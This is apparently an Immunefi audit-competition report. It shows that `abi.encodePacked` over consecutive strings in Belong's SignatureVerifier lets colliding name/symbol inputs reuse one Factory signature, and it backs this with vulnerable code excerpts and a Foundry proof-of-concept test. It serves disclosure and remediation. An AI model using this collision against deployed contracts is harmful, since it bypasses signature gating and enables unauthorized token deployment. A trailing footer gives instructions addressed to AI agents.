# 57864 sc medium abi encodepacked hash collision vulnerability in dynamic type encoding permits malicious signature bypass enabling unauthorized and repeatable transaction execution

**Submitted on Oct 29th 2025 at 09:41:02 UTC by @Saediek for** [**Audit Comp | Belong**](https://immunefi.com/audit-competition/audit-comp-belong)

* **Report ID:** #57864
* **Report Type:** Smart Contract
* **Report severity:** Medium
* **Target:** <https://github.com/immunefi-team/audit-comp-belong/blob/main/contracts/v2/platform/Factory.sol>
* **Impacts:**
  * Unauthorized minting of NFTs
  * Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

### Brief/Intro

The use of `abi.encodePacked` with dynamic data types (strings, bytes) can result in hash collisions. This can be exploited repeatedly by a malicious actor to perform unauthorized actions (for example, creating an AccessToken collection or creating a CreditToken) bypassing signature gating enforced by the Factory signer.

### Vulnerability Details

The Factory module (one of the core components) facilitates creation of AccessTokens, CreditTokens and VestingWallets. The Factory advertises "Signature Gated Deployment": deployments require approval by the configured `Factory.signer`. All signature verification is delegated to the [SignatureVerifier Library](https://github.com/immunefi-team/audit-comp-belong/blob/main/contracts/v2/utils/SignatureVerifier.sol). The bug occurs in the implementations below:

* `checkCreditTokenInfo()`\
  <https://github.com/immunefi-team/audit-comp-belong/blob/a17f775dcc4c125704ce85d4e18b744daece65af/contracts/v2/utils/SignatureVerifier.sol#L81>
* `checkAccessTokenInfo()`\
  <https://github.com/immunefi-team/audit-comp-belong/blob/a17f775dcc4c125704ce85d4e18b744daece65af/contracts/v2/utils/SignatureVerifier.sol#L53C14-L53C34>

Both functions use `abi.encodePacked` on string data types (dynamic types) which can lead to collisions.

Exploit workflow (high level):

{% stepper %}
{% step %}

### Step

An honest actor is approved by the Factory signer to deploy an AccessToken or CreditToken and submits a deployment transaction.
{% endstep %}

{% step %}

### Step

A malicious actor crafts a different payload such that `abi.encodePacked` of the malicious payload produces the same packed bytes (hence same `keccak256` hash) as the honest payload.
{% endstep %}

{% step %}

### Step

The transaction is published. Signature check passes (same hash/signature). The Factory's token-existence check also passes (`getNftInstanceInfo[hashedSalt].nftAddress == address(0)`), allowing unauthorized deployment.
{% endstep %}
{% endstepper %}

### Root Cause

The SignatureVerifier functions `checkAccessTokenInfo()` and `checkCreditTokenInfo()` use `abi.encodePacked()` to compute the digest used for signature verification. `abi.encodePacked` concatenates encoded values without length delimiters for dynamic types, which allows different inputs to produce identical byte sequences and thus identical hashes.

Vulnerable code excerpts:

```solidity
// checkCreditTokenInfo
require(
    signer.isValidSignatureNow(
        keccak256(
            abi.encodePacked(creditTokenInfo.name, creditTokenInfo.symbol, creditTokenInfo.uri, block.chainid)
        ),
        signature
    ),
    InvalidSignature()
);

// checkAccessTokenInfo
require(
    signer.isValidSignatureNow(
        keccak256(
            abi.encodePacked(
                accessTokenInfo.metadata.name,
                accessTokenInfo.metadata.symbol,
                accessTokenInfo.contractURI,
                accessTokenInfo.feeNumerator,
                block.chainid
            )
        ),
        accessTokenInfo.signature
    ),
    InvalidSignature()
);
```

### Collision Example

Because values are concatenated without boundaries, different inputs can collide:

Example shown in the report:

* Honest payload:
  * metadata.name = "original-name"
  * metadata.symbol = "original-symbol"
  * contractURI = "<https://immunefi.com/uri>"
  * feeNumerator = 2000
* Malicious payload:
  * metadata.name = "original"
  * metadata.symbol = "-nameoriginal-symbol"
  * same contractURI and feeNumerator

Then:

```
keccak256(abi.encodePacked(metadata.name, metadata.symbol, contractURI, feeNumerator, block.chainid))
==
keccak256(abi.encodePacked(maliciousMetadata.name, maliciousMetadata.symbol, contractURI, feeNumerator, block.chainid))
```

For a given signature, both payloads would be valid due to this hash collision, enabling unauthorized actions.

### Impact Details

A malicious actor could bypass signature gating and repeatedly deploy AccessTokens and CreditTokens without authorization, breaking the access protections put in place by the Factory signer.

## References

* checkAccessTokenInfo: <https://github.com/immunefi-team/audit-comp-belong/blob/a17f775dcc4c125704ce85d4e18b744daece65af/contracts/v2/utils/SignatureVerifier.sol#L53C14-L53C34>
* checkCreditTokenInfo: <https://github.com/immunefi-team/audit-comp-belong/blob/a17f775dcc4c125704ce85d4e18b744daece65af/contracts/v2/utils/SignatureVerifier.sol#L81>
* Factory.produce: <https://github.com/immunefi-team/audit-comp-belong/blob/a17f775dcc4c125704ce85d4e18b744daece65af/contracts/v2/platform/Factory.sol#L236>

## Proof of Concept

<details>

<summary>PoC: Solidity / Foundry test demonstrating collision</summary>

```solidity
//SPDX-License-Identifier:UNLICENSED

pragma solidity ^0.8;

import "forge-std/Test.sol";
import "forge-std/Vm.sol";

import {SignatureCheckerLib} from "solady/utils/SignatureCheckerLib.sol";

contract HashCollisionTest is Test {
    using SignatureCheckerLib for address;
    struct AccessTokenInfo {
        string name;
        string symbol;
        string uri;
        uint256 numerator;
    }

    function testHashCollision() external {
        (address bob, uint256 privateKey) = makeAddrAndKey("Bob the signer");
        AccessTokenInfo memory first = AccessTokenInfo({
            name: "abcd",
            symbol: "efgh",
            uri: "ijklm",
            numerator: 100
        });
        bytes32 firstHash = __hash__(first);
        emit log_named_bytes32("First Hash", firstHash);

        ///Second PreImage
        AccessTokenInfo memory second = AccessTokenInfo({
            name: "abc",
            symbol: "defgh",
            uri: "ijklm",
            numerator: 100
        });
        bytes32 secondHash = __hash__(second);
        emit log_named_bytes32("Second Hash:", secondHash);
        ///Tasked with creating same hash from different preimage
        assertEq(firstHash, secondHash);

        bytes32 firstMetadata = __compute_metadata(first);
        bytes32 secondMetadata = __compute_metadata(second);

        assert(firstMetadata != secondMetadata);

        (uint8 v, bytes32 r, bytes32 s) = sign(privateKey, firstHash);

        assert(bob.isValidSignatureNow(firstHash, v, r, s));

        assert(bob.isValidSignatureNow(secondHash, v, r, s));
    }

    function sign(
        uint256 pk,
        bytes32 hash
    ) internal pure returns (uint8 v, bytes32 r, bytes32 s) {
        (v, r, s) = vm.sign(pk, hash);
    }

    function __hash__(
        AccessTokenInfo memory token
    ) internal view returns (bytes32) {
        return
            keccak256(
                abi.encodePacked(
                    token.name,
                    token.symbol,
                    token.uri,
                    token.numerator,
                    block.chainid
                )
            );
    }

    function __compute_metadata(
        AccessTokenInfo memory token
    ) internal pure returns (bytes32) {
        return keccak256(abi.encode(token.name, token.symbol));
    }
}
```

</details>

(End of PoC)

***

Note: All original links and code references have been preserved verbatim.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/belong/57864-sc-medium-abi-encodepacked-hash-collision-vulnerability-in-dynamic-type-encoding-permits-malic.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
